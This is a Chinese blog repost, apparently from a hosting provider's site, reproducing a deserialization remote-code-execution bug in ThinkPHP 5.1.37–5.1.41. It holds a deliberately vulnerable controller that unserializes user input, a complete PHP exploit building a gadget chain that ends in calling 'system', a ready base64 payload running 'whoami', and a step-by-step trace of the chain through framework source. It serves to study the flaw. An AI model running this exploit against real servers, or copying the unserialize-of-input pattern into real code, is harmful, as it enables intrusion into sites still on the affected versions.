新西兰服务器

如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现


如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现

发布时间:2021-10-18 16:00:53 来源:高防服务器网 阅读:125 作者:柒染 栏目:安全技术

这期内容当中小编将会给大家带来有关如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

0x01 简介

记录自己学习与理解thinkphp的反序列漏洞的过程

0x02 影响版本

5.1.37-5.1.41(最新版本)

0x03 环境搭建

1、composer create-project topthink/think=5.1.37 v5.1.37(5.1.37-5.1.41都可)

2、github:

https://github.com/top-think/think/releases

https://github.com/top-think/framework/releases

0x04 漏洞复现

先添加一个反序列化的入口

在applicationindexcontrollerindex.php中将input参数反序列化

<?php  namespace appindexcontroller;    class Index  {  public function index($input='')  {     unserialize(base64_decode($input));  return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333333;font-size:18px;} h2{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div > <h2>:) </h2><p> ThinkPHP V5.1<br/><span >12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';  }    public function hello($name = 'ThinkPHP5')  {  return 'hello,' . $name;  }  }

EXP:

<?php  namespace think;  abstract class Model{  protected $append = [];  private $data = [];  function __construct(){  $this->append = ["ethan"=>["dir","calc"]];  $this->data = ["ethan"=>new Request()];  }  }  class Request  {  protected $hook = [];  protected $filter = "system";  protected $config = [  // 表单请求类型伪装变量  'var_method'       => '_method',  // 表单ajax伪装变量  'var_ajax'         => '_ajax',  // 表单pjax伪装变量  'var_pjax'         => '_pjax',  // PATHINFO变量名 用于兼容模式  'var_pathinfo'     => 's',  // 兼容PATH_INFO获取  'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],  // 默认全局过滤方法 用逗号分隔多个  'default_filter'   => '',  // 域名根,如thinkphp.cn  'url_domain_root'  => '',  // HTTPS代理标识  'https_agent_name' => '',  // IP代理获取标识  'http_agent_ip'    => 'HTTP_X_REAL_IP',  // URL伪静态后缀  'url_html_suffix'  => 'html',  ];  function __construct(){  $this->filter = "system";  $this->config = ["var_ajax"=>''];  $this->hook = ["visible"=>[$this,"isAjax"]];  }  }  namespace thinkprocesspipes;    use thinkmodelconcernConversion;  use thinkmodelPivot;  class Windows  {  private $files = [];    public function __construct()  {  $this->files=[new Pivot()];  }  }  namespace thinkmodel;    use thinkModel;    class Pivot extends Model  {  }  use thinkprocesspipesWindows;  echo base64_encode(serialize(new Windows()));  /*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/  ?>

5.1.37版本复现:

5.1.41版本复现

0x04 PHP序列化的相关知识

首先了解下魔法函数,方便后面利用链的理解

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct():当对象被销毁时会自动调用。

__call():是在对象上下文中调用不可访问的方法时触发

__callStatic():是在静态上下文中调用不可访问的方法时触发。

__get():用于从不可访问的属性读取数据。

__set():用于将数据写入不可访问的属性。

__isset():在不可访问的属性上调用isset()或empty()触发。

__unset():在不可访问的属性上使用unset()时触发。

__sleep():在执行序列化函数serialize()时执行。

__wakeup():在执行反序列化函数unserialize()时执行。

__toString():当一个对象被当做字符串使用。

invoke():脚本尝试将对象调用为函数时,调用invoke()方法。

反序列化的常见起点

__wakeup:一定会调用

__destruct:一定会调用

__toString:当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板

__toString:当一个对象被当做字符串使用

__get:读取不可访问或不存在属性时被调用

__set:当给不可访问或不存在属性赋值时被调用

__isset:对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

反序列化的常见终点:

__call:调用不可访问或不存在的方法时被调用

call_user_func:一般php代码执行都会选择这里

call_user_func_array:一般php代码执行都会选择这里

0x05 漏洞分析

从EXP入手去分析整个利用过程,在执行EXP时动态调试观察调用了哪些魔法函数

可以看到依次执行了destruct()→tostring()→call()→RCE

从起点开始一步一步跟进

1、在thinkphplibrarythinkprocesspipeswindows.php中的__destruct调用了removeFiles方法

主要代码:

public function __destruct()    {  $this->close();  $this->removeFiles();  }  private function removeFiles()    {  foreach ($this->files as $filename) {  if (file_exists($filename)) {  @unlink($filename);  }  }  $this->files = [];  }

这里$filename会被当做字符串处理,而下一步的toString方法在一个对象被反序列化后又被当做字符串使用时会被触发,继续跟进toString方法

2、在thinkphplibrarythinkmodelconcernConversion.php中__toString中的函数执行过程为toJson→toArray

主要代码:

//thinkphplibrarythinkmodelconcernConversion.php  public function __toString()  {  return $this->toJson();  }  public function toJson($options = JSON_UNESCAPED_UNICODE)  {  return json_encode($this->toArray(), $options);  }

紧接着下一步调用了visible与call方法,猜测visible是一个不存在的方法,并自动调用了call;继续看toArray方法的逻辑部分

主要代码:

//thinkphplibrarythinkmodelconcernConversion.php  public function toArray()  {  $item    = [];  $hasVisible = false;  ...  if (!empty($this->append)) {  foreach ($this->append as $key => $name) {  if (is_array($name)) {  // 追加关联对象属性  $relation = $this->getRelation($key);  if (!$relation) {  $relation = $this->getAttr($key);  if ($relation) {  $relation->visible($name);  }  }  }

这里的$this->append是我们可控的,这意味着$relation也可控,在toArray函数中调用一个getRelation()方法和一个getAttr()方法,在下面判断了变量$relation,若!$relation,继续调用getAttr()方法, 跟进getRelation方法

主要代码:

//thinkphplibrarythinkmodelconcernRelationShip.php  public function getRelation($name = null)  {  if (is_null($name)) {  return $this->relation;  } elseif (array_key_exists($name, $this->relation)) {  return $this->relation[$name];  }  return;  }

可以看到getRelation()执行结果返回为空,进而执行了getAttr(),继续跟进getAttr()

//thinkphplibrarythinkmodelconcernAttribute.php  public function getAttr($name, &$item = null)  {  try {  $notFound = false;  $value  = $this->getData($name);  } catch (InvalidArgumentException $e) {  $notFound = true;  $value  = null;  }  return $value;  }  public function getData($name = null)  {  if (is_null($name)) {  return $this->data;  } elseif (array_key_exists($name, $this->data)) {  return $this->data[$name];  } elseif (array_key_exists($name, $this->relation)) {  return $this->relation[$name];  }  throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);  }

这里的getAttr()调用了getData()方法,所以toArray方法中的$relation的值为$this->data[$name],也就是说$relation可控;然后控制$relation为一个类对象,调用不存在的visible方法后,会自动调用call方法,这个类中没有visible方法,但存在call,跟进__call

3、/thinkphp/library/think/Request.php中的__call方法的主要代码:

public function __call($method, $args)  {  if (array_key_exists($method, $this->hook)) {  array_unshift($args, $this);  return call_user_func_array($this->hook[$method], $args);  }  throw new Exception('method not exists:' . static::class . '->' . $method);  }

可以看到存在了回调函数call_user_func_array,并且this->hook[$method]我们可以控制,但是这里有个 array_unshift($args, $this);会把$this放到$arg数组的第一个元素,这样构造不出来参数可用的payload,因为第一个参数是$this对象。

在利用链中发现,最终RCE是利用了Requests类的过滤器filter(多数RCE都是出自此处),调试器中依次调用了isAjax(),param(),input(),跟进这些方法,观察是如何执行的

4、在thinkphp/library/think/Request.php的查看各个方法的主要代码

public function isAjax($ajax = false)    {      $value = $this->server('HTTP_X_REQUESTED_WITH');      $result = 'xmlhttprequest' == strtolower($value) ? true : false;      if (true === $ajax) {        return $result;      }      $result      = $this->param($this->config['var_ajax']) ? true : $result;      $this->mergeParam = false;      return $result;    }

在isAjax函数中,我们可以控制$this->config['var_ajax'],这里调用了param方法,继续跟进

public function param($name = '', $default = null, $filter = '')    {       if (!$this->mergeParam) {        $method = $this->method(true);        .....        $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));        $this->mergeParam = true;      }      if (true === $name) {        // 获取包含文件上传信息的数组        $file = $this->file();        $data = is_array($file) ? array_merge($this->param, $file) : $this->param;        return $this->input($data, '', $default, $filter);      }      return $this->input($this->param, $name, $default, $filter);    }

这里在最后调用了input()函数,由于之前的isAjax()中$this->config['var_ajax']可控,所以这里param($name)可控,跟进input()

public function input($data = [], $name = '', $default = null, $filter = '')    {      if (false === $name) {        // 获取原始数据        return $data;      }      ....      // 解析过滤器     $filter = $this->getFilter($filter, $default);      if (is_array($data)) {        array_walk_recursive($data, [$this, 'filterValue'], $filter);       .....      } else {        $this->filterValue($data, $name, $filter);      }

input()使用回调函数调用了filterValue(),由于param中的$name可控,所以input()中的$name可控,然后input()中又调用了filterValue(),这样的话filterValue()中的$name也就是可控的,跟进filterValue()

主要代码:

private function filterValue(&$value, $key, $filters)  {    $default = array_pop($filters);    foreach ($filters as $filter) {      if (is_callable($filter)) {        // 调用函数或者方法过滤        $value = call_user_func($filter, $value);

该方法调用了call_user_func函数,从input()中得知,filterValue()的value值可控

继续查看input()的主要代码部分:

public function input($data = [], $name = '', $default = null, $filter = '')    {      if (false === $name) {        // 获取原始数据        return $data;      }      ....       $data = $this->getData($data, $name);      ....      // 解析过滤器      $filter = $this->getFilter($filter, $default);      if (is_array($data)) {        array_walk_recursive($data, [$this, 'filterValue'], $filter);       .....      } else {        $this->filterValue($data, $name, $filter);      }

这里$data=$this->getData($data, $name)

$filter = $this->getFilter($filter, $default)

两个关键的参数,跟进getData()代码:

protected function getData(array $data, $name)    {      foreach (explode('.', $name) as $val) {        if (isset($data[$val])) {          $data = $data[$val];        } else {          return;        }      }      return $data;  }

$name由在最开始的isAjax()中的$this->config['var_ajax']来控制,最终返回$data=$data[$name]

getFilter()代码:

protected function getFilter($filter, $default)    {      if (is_null($filter)) {        $filter = [];      } else {        $filter = $filter ?: $this->filter;        if (is_string($filter) && false === strpos($filter, '/')) {          $filter = explode(',', $filter);        } else {          $filter = (array) $filter;        }      }      $filter[] = $default;      return $filter;  }

这里$filter可控,$this->filter,在EXP直接赋值即可,这样所有可控条件都达成,成功RCE

总结一下:

利用链:

从EXP的角度下看执行过程:

0x06 修复方式

官方未修复

上述就是小编为大家分享的如何理解Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注高防服务器网行业资讯频道。

[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。

[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[